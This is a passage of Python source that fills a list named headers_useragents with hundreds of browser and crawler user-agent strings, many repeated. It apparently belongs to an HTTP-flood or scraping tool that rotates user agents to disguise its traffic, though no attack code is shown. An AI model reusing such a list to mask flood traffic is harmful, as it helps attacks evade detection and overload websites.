  2540.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2541.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2542.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2543.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2544.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2545.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2546.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2547.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2548.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2549.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2550.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2551.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2552.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2553.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2554.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2555.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2556.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2557.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2558.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2559.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2560.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2561.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2562.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2563.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2564.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2565.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2566.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2567.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2568.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2569.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2570.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2571.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2572.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2573.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2574.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2575.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2576.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2577.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2578.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2579.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2580.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2581.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2582.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2583.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2584.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2585.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2586.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2587.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2588.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2589.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2590.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2591.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2592.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2593.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2594.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2595.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2596.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2597.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2598.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2599.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2600.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2601.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2602.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2603.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2604.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2605.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2606.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2607.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2608.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2609.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2610.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2611.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2612.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2613.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2614.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2615.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2616.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2617.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2618.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2619.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2620.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2621.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2622.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2623.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2624.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2625.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2626.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2627.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2628.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2629.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2630.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2631.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2632.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2633.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2634.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2635.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2636.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2637.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2638.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2639.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2640.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2641.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2642.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2643.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2644.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2645.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2646.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2647.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2648.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2649.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2650.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2651.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2652.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2653.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2654.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2655.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2656.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2657.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2658.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2659.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2660.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2661.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2662.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2663.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2664.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2665.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2666.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2667.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2668.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2669.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2670.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2671.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2672.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2673.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2674.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2675.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2676.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2677.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2678.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2679.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2680.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2681.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2682.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2683.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2684.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2686.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2687.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2688.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2689.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2690.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2691.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2692.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2693.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2694.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2695.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2696.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2697.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2698.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2699.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2700.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2702.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2703.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2704.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2705.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2706.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2707.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2708.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2709.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2710.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2711.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2712.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2713.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2714.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2715.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2716.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2717.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2718.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2719.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2720.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2721.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2722.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2723.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2724.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2725.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2726.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2727.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2728.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2729.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2730.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2731.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2732.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2733.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2734.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2735.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2736.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2737.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2738.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2739.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
